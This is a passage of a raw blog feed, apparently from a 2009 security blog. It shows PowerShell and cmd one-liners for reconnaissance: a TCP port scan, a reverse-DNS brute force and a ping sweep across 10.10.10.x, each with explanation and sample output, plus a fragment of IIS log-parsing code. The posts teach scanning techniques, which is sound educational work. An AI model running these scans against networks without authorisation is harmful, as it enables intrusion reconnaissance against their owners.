if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$_&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;-match&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$regex&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;) {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;""&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; | Select&amp;nbsp;TimeStamp, SiteName, ComputerName, IP, Method, UriStem, UriQuery, Port, Username, SourceIp, UserAgent, Status, SubStatus, Win32Status&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.TimeStamp &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;FONT color=#5f9ea0&gt;&lt;STRONG&gt;Get-Date &lt;/STRONG&gt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;"$(&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Date&lt;FONT color=#800000&gt;) $(&lt;/FONT&gt;&lt;FONT color=#800080&gt;$matches&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Time&lt;FONT color=#800000&gt;)"&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Sitename &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Sitename&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Computername &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Computername&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Ip &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Ip&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Method &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Method&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UriStem &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UriStem&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UriQuery &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UriQuery&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Port &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Port&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Username &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Username&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.SourceIp &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.SourceIp&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UserAgent &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UserAgent&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Status &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Status&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.SubStatus &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.SubStatus&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Win32Status &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Win32Status&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&amp;nbsp; }&lt;BR&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;</content></entry><entry><title>Powershell Port Scan</title><link rel="alternate" href="http://blog.securitywhole.com/2009/09/23/powershell-port-scan.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2009-09-23:af0db381-04f4-48a1-a9b1-f3604532ada0</id><author><name>Tim Medin</name></author><updated>2009-09-24T02:11:00Z</updated><published>2009-09-24T02:11:00Z</published><content type="html">&lt;P&gt;Ed Skoudis used the for loop to create an ftp script for the ftp command in order to do a port scan. I did an modification to it so that it didn't require the script file and no files were written to the file system. You can find that posting here:&lt;BR&gt;&lt;A href="http://blog.securitywhole.com/2009/02/28/ftp-port-scanning.aspx"&gt;http://blog.securitywhole.com/2009/02/28/ftp-port-scanning.aspx&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;In my quest to port the Kung Fu of Mr. Skoudis in to powershell I came up with this command:&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P style="MARGIN-RIGHT: 0px" dir=ltr&gt;&lt;FONT face="Courier New"&gt;1..1024 | % { echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "$_ is open" } 2&amp;gt;out-null&lt;/FONT&gt;&lt;/P&gt;
&lt;P style="MARGIN-RIGHT: 0px" dir=ltr&gt;&lt;/SPAN&gt;If you have been following the previous entries there isn't anything fancy here, except one handy little trick that has to do with the output from the echo command. If you look closely you see that the command attempts to write the output of the connection as well as the string at the end. If the first portion throws an error, then the second part isn't output. Here is a simple example with the output.&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;PS C:\&amp;gt; echo (1+1) (2+2)&lt;BR&gt;2&lt;BR&gt;4&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;If we replace the (1+1) with (1/0) then nothing is displayed (other than the error). . If we discard the error with 2&amp;gt;Out-Null then there is no output.&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="COLOR: #27750f"&gt;&lt;FONT face="Courier New"&gt;PS C:\&amp;gt; echo (1/0) (2+2) 2&amp;gt;Out-Null&lt;BR&gt;&lt;/FONT&gt;&lt;/SPAN&gt;(No Output)&lt;/P&gt;
&lt;P&gt;We can use this to our advantage. If our connection fails, an error is raised and we don't output the "$_ is open" portion. If the connection works then the "$_ is open" is displayed.&lt;BR&gt;&lt;BR&gt;Unfortunately, there is no easy way to change the connection timeout so this process is slow. We can do it with asynchronous calls, but that is a lot of work and is no longer a one liner.&amp;nbsp;I'll put that in a future version.&lt;/P&gt;</content></entry><entry><title>Powershell NSLookup Brute Force</title><link rel="alternate" href="http://blog.securitywhole.com/2009/09/23/powershell-nslookup-brute-force.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2009-09-23:070921f1-6266-4267-90a2-82e29ac30c36</id><author><name>Tim Medin</name></author><updated>2009-09-24T00:36:00Z</updated><published>2009-09-24T00:36:00Z</published><content type="html">&lt;P&gt;Stealing two other commands from Mr. Skoudis we can do an nslookup of each host in a range.&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;for /L %i in (1,1,255) do @echo 10.10.10.%i: &amp;amp; @nslookup 10.10.10.%i 2&amp;gt;nul | find "Name"&lt;BR&gt;10.10.10.1&lt;BR&gt;10.10.10.2&lt;BR&gt;10.10.10.3&lt;BR&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; server.blah.com&lt;BR&gt;10.10.10.4&lt;BR&gt;&lt;BR&gt;for /L %i in (1,1,255) do @nslookup 10.10.10.%i 2&amp;gt;nul | find "Name" &amp;amp;&amp;amp; echo 10.10.10.%i&lt;BR&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; server.blah.com&lt;BR&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;FONT color=#27750f face="Courier New"&gt;10.10.10.3&lt;/FONT&gt;&lt;BR&gt;&lt;BR&gt;The first command shows each IP as it is looked up. The second only shows those that successfully resolve.&lt;/P&gt;
&lt;P&gt;Here is the powershell version and it's output:&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;1..255 | % { [System.Net.Dns]::GetHostByAddress("10.10.10.$_") } 2&amp;gt; Out-Null | Format-List&lt;BR&gt;HostName&amp;nbsp;&amp;nbsp;&amp;nbsp; : server.blah.com&lt;BR&gt;Aliases&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : {loadbalancer.blah.com, service.blah.com, service2.blah.com, service3.blah.com}&lt;BR&gt;AddressList : {10.10.10.3}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;You'll notice a big difference from the first output. The standard nslookup just returns one result, while the powershell version gets all the aliases. We may not have ever known about those other DNS entries otherwise.&lt;/P&gt;
&lt;P&gt;Using the [System.Net.Dns]::GetHostByAddress() method gives us more power, plus we can send the objects we want down the pipeline for further actions. We use the 2&amp;gt; Out-Null so that the error messages for the unresolvable IP addresses aren't shown.&lt;/P&gt;</content></entry><entry><title>Powershell Ping Sweep</title><link rel="alternate" href="http://blog.securitywhole.com/2009/09/23/powershell-ping-sweep.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2009-09-23:ec921e65-f5d9-4520-9645-94e857bd5625</id><author><name>Tim Medin</name></author><updated>2009-09-24T00:14:00Z</updated><published>2009-09-24T00:14:00Z</published><content type="html">&lt;P&gt;Ed Skoudis came up with some fantastic Command Line Kung Fu for Windows to do some basic scanning. Powershell is becoming more and more common so I decided to port these commands to powershell. I think Ed would agree that the standard windows commands can be rather painful and aren't easily extensible (blasted windows) and I hoped to make it slightly less agonizing. In order to make it easier to understand, I won't use the shortcuts in my examples for the foreach-object cmdlet (%) or where-object cmdlet (?).&lt;/P&gt;
&lt;P&gt;The first CLKF I thought I would tackle was the ping sweep. You can check out the great write-up over at the Command Line Kung Fu Blog.&lt;BR&gt;&lt;A href="http://blog.commandlinekungfu.com/2009/03/episode-6-command-line-ping-sweeper.html"&gt;http://blog.commandlinekungfu.com/2009/03/episode-6-command-line-ping-sweeper.html&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Taken from the blog, here is the Windows command to do ping sweep at the command line and its associated output:&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;C:\&amp;gt;for /L %i in (1,1,255) do @ping -n 1 10.10.10.%i | find "Reply"&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;Reply from 192.168.1.1: bytes=32 time=4ms TTL=64&lt;BR&gt;Reply from 192.168.1.3: bytes=32 time=5ms TTL=64&lt;BR&gt;Reply from 192.168.1.37: bytes=32 time=4ms TTL=64&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;The above command uses a FOR loop to ping each device and looks for "Reply" in the output. If there is a "Reply" then the host is up (duh).&lt;/P&gt;
&lt;P&gt;Here is the powershell version and its output:&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;PS C:\&amp;gt;1..255 | foreach-object { (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_") } | where-object {$_.Status -eq "success"} | select Address&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;Address&lt;BR&gt;-------&lt;BR&gt;10.10.10.1&lt;BR&gt;10.10.10.3&lt;BR&gt;10.10.10.37&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;At first glance the results are very similar and you would think, "Why all the extra typing? The second command is 2.5 times longer!" The big difference between the standard windows command line and powershell is that the latter uses objects, which gives a lot of power...in our shell. Not let's see how it works...&lt;/P&gt;
&lt;P&gt;In the above command the range operator (..) generates a list of the numbers 1 through 255. The cool thing is you don't have to use just a single range, you can string them together like this (1..5),7,(9..10) which would give you the numbers 1-10 skipping 6 and 8.&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;foreach-object { (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_") }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;The foreach-object takes the numbers fed into the pipeline and operates on them one at a time. First, it creates a new ping object and then calls the send method. The parameter given to the send method is a string concatenation of 10.10.10. and the number from $_, which is the "current pipeline object." The $_ variable in our example will contain the numbers 1-255. &lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
